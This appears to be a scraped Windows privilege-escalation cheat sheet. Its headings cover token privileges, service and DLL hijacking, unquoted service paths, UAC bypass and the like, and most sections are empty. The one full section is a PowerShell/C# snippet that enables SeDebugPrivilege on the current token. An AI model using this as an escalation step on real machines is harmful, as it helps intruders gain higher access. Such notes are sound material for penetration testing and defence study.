Windows
CVE
SeImpersonate
TL/DR
Enable token's privilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.ComponentModel;
public class TokenPriv {
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", CharSet=CharSet.Unicode, SetLastError=true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const UInt32 TOKEN_QUERY = 0x0008;
[StructLayout(LayoutKind.Sequential)]
public struct LUID { public UInt32 LowPart; public Int32 HighPart; }
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES { public LUID Luid; public UInt32 Attributes; }
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_PRIVILEGES { public UInt32 PrivilegeCount; public LUID_AND_ATTRIBUTES Privileges; }
public const UInt32 SE_PRIVILEGE_ENABLED = 0x2;
public static void EnablePrivilege(string priv) {
IntPtr hProc = GetCurrentProcess();
IntPtr hToken;
if(!OpenProcessToken(hProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken)) throw new Win32Exception(Marshal.GetLastWin32Error());
LUID luid;
if(!LookupPrivilegeValue(null, priv, out luid)) throw new Win32Exception(Marshal.GetLastWin32Error());
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Privileges = new LUID_AND_ATTRIBUTES();
tp.Privileges.Luid = luid;
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken, false, ref tp, (UInt32)Marshal.SizeOf(tp), IntPtr.Zero, IntPtr.Zero))
throw new Win32Exception(Marshal.GetLastWin32Error());
int err = Marshal.GetLastWin32Error();
if(err != 0)
throw new Win32Exception(err);
}
}
"@ -PassThru
# Enable SeDebugPrivilege
[TokenPriv]::EnablePrivilege("SeDebugPrivilege")
Write-Host "Try again: whoami /priv"
Service Binary Hijacking
Get a list of all installed Windows services
Mask
Permissions
Using PowerUp.ps1
Service DLL Hijacking
Find process with missing dll
Make sure you have enough rights to write your dll to this directory
Build malicious DLL
Deliver dll and trigger its load
Unquoted Service Paths
Enumerate running and stopped services
Using PowerUp.ps1
Scheduled Tasks
UAC Bypass
Tool Enumeration
PS history
BSOD
Last updated